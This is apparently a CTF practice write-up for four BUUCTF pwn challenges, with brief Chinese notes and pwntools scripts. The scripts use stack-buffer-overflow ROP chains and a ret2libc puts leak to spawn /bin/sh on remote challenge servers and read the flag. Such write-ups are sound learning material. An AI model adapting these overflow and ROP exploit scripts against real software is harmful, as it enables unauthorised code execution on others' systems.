PWN-PRACTICE-BUUCTF-5
- jarvisoj_level2_x64
- ciscn_2019_n_5
- others_shellcode
- ciscn_2019_ne_5
jarvisoj_level2_x64
这题和[HarekazeCTF2019]baby_rop几乎一模一样
from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',27023)
elf=ELF('./level2_x64')
io.recvuntil("Input:\n")
pop_rdi_ret=0x00000000004006b3
ret=0x00000000004004a1
system=elf.plt['system']
main=0x0000000000400620
binsh=0x0000000000600A90
payload="a"*(128+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.sendline(payload)
io.sendline("cat flag")
io.interactive()
ciscn_2019_n_5
栈溢出ret2libc
from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',27687)
elf=ELF("./ciscn_2019_n_5")
libc=ELF("./libc-2.27-18-x64.so")
io.recvuntil("your name\n")
io.sendline("p1umh0")
io.recvuntil("say to me?\n")
pop_rdi_ret=0x0000000000400713
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main=0x0000000000400636
ret=0x00000000004004c9
payload="a"*(30+2+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00"))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()
payload_2="a"*(30+2+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.recvuntil("your name\n")
io.sendline("p1umh0")
io.recvuntil("say to me?\n")
io.sendline(payload_2)
io.sendline("cat flag")
io.interactive()
others_shellcode
程序在getShell函数中执行了系统调用,execve("/bin/sh"),nc连接上直接cat flag即可
ciscn_2019_ne_5
case 1的AddLog读取数据,最大长度128
case 4的GetFlag将读取的数据拷贝到dest,于是可以构成栈溢出
程序包含了system,找一个"/bin/sh"或者"sh"来用
p1umh0@p1umh0:~/ctf/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string "/bin/sh"
Strings information
============================================================
p1umh0@p1umh0:~/ctf/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string "sh"
Strings information
============================================================
0x080482ea : sh
覆盖eip到system
from pwn import *
io=remote('node4.buuoj.cn',29535)
elf=ELF('./ciscn_2019_ne_5')
io.recvuntil("password:")
io.sendline("administrator")
io.recvuntil("0.Exit\n:")
io.sendline("1")
io.recvuntil("log info:")
system=elf.plt['system']
main=0x08048722
sh=0x080482ea
payload="a"*(0x48+4)+p32(system)+p32(main)+p32(sh)
io.sendline(payload)
io.recvuntil("0.Exit\n:")
io.sendline("4")
io.sendline("cat flag")
io.interactive()